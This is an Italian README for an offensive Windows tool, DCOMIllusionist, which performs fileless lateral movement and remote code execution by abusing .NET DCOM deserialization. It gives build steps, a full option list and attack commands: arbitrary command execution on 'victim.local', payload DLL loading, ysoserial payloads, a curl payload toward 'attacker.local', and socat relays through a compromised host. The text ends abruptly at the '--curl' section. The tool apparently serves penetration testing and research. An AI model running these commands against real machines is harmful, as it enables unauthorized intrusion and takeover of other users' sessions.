
Tecniche di movimento laterale DCOM in memoria e senza file attraverso la deserializzazione .Net
Tecnica di movimento laterale senza file per Windows.
Introduzione • Compilazione • Utilizzo • Dettagli tecnici • Riconoscimenti
Questo strumento consente l'esecuzione remota di codice su una macchina Windows, se si dispone di privilegi amministrativi. Sfrutta DCOM e il comportamento dei server .NET DCOM, che deserializzano automaticamente gli oggetti in arrivo. Ciò rende possibile eseguire comandi arbitrari o caricare DLL senza scrivere su disco.
Originariamente scoperto da James Forshaw come tecnica di escalation dei privilegi, questo metodo è stato adattato per il movimento laterale modificando da remoto specifiche chiavi di registro. Inoltre, supporta lo sfruttamento cross-sessione tramite DCOM, consentendo l'esecuzione di comandi arbitrari all'interno di un'altra sessione utente sotto il contesto di sicurezza di quella sessione.
Funziona su workstation e server, ma è necessario l'accesso di rete tra la macchina di destinazione e una macchina controllata dall'attaccante.
Maggiori dettagli in questa sezione.
È disponibile una release, oppure puoi compilarlo manualmente:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANTE]
L'accesso amministrativo è richiesto sia sul host attaccante (tramite una shell elevata) che sulla macchina di destinazione per utilizzare con successo questo strumento.
Utilizzo:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Opzioni:
-h, --help Mostra questo messaggio di aiuto ed esce
-d, --debug Abilita il logging di debug
-t, --target <value> Imposta l'hostname o IP di destinazione
-p, --port <value> Imposta la porta di destinazione (Default: 49765)
--clsid <value> Specifica un CLSID (senza parentesi graffe)
--appid <value> Specifica un AppID (senza parentesi graffe)
-s, --session <value> Fornisce un identificatore di sessione
-l --listen <host> Specifica un listener FQDN o IP
-g, --gadget <value> Specifica il gadget da utilizzare
--attacker-sid <value> Imposta il SID dell'attaccante
--no-port-check Disabilita il controllo di disponibilità della porta
--restore-backup <path> Ripristina il registro da un backup
--local-registry-only Effettua solo modifiche al registro locale
--remote-registry-only Effettua solo modifiche al registro remoto
--skip-local-registry-setup Salta la configurazione del registro locale
--skip-remote-registry-setup Salta la configurazione del registro remoto
--hku Esegue operazioni sul registro remoto su HKCU invece di HKLM
--fake-clsid Crea un CLSID falso con un AppId falso
Attacchi:
--ps-exec <args> Esegue un comando da remoto usando PSExec
--exec <cmd> Esegue un comando da remoto
--exec-args <args> Argomenti da passare al comando
--curl <url> Usa un payload di richiesta web in stile curl
--file-write-src <src> File da scrivere
--file-write-dst <dst> Percorso di destinazione
--load-dll <path> Carica una DLL nel processo remoto
--dll-class <value> Classe nella DLL da eseguire (incluso namespace)
--dll-method <value> Metodo statico nella classe da eseguire (Default: Run)
--yso-b64 <b64> Esegue un payload ysoserial codificato in base64
--test-network Controlla l'accesso di rete dal target alla macchina attaccante
--list-sessions Elenca le sessioni interattive sul target
Esempi:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Utente interattivo)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Utente interattivo)
--sessionCome spiegato in precedenza, è possibile specificare una sessione per eseguire comandi arbitrari nella sessione di un altro utente.
[!AVVISO] Funziona solo con AppID configurati per essere eseguiti sotto l'identità dell'utente interattivo. Questo viene gestito automaticamente, non è necessario specificare l'argomento
--appid, poiché lo strumento utilizzerà per impostazione predefinita l'AppID associato a User Account Control Settings.
[!IMPORTANTE] Funziona solo se la macchina attaccante è unita a un dominio, maggiori dettagli qui.
--list-sessionsElenca le sessioni interattive e attive remote sul target utilizzando WTSEnumerateSessions.
--listenSe la macchina di destinazione non può raggiungere direttamente l'host dell'attaccante, l'exploit fallirà. Tuttavia, è possibile specificare una macchina intermedia che il target possa contattare. Utilizzando strumenti come socat, il traffico può essere poi inoltrato da questo intermediario all'host dell'attaccante.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidQuando si esegue l'exploit da una shell runas /netonly, l'identità associata non può essere recuperata automaticamente. Pertanto, è necessario fornirla esplicitamente utilizzando l'opzione --attacker-sid affinché l'attacco abbia successo.
--exec--exec può essere utilizzato con --exec-args per eseguire binari arbitrari sul target:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTA]
--ps-execè solo un wrapper per questo, lo stesso risultato può essere ottenuto con:--ps-exec calc
--curl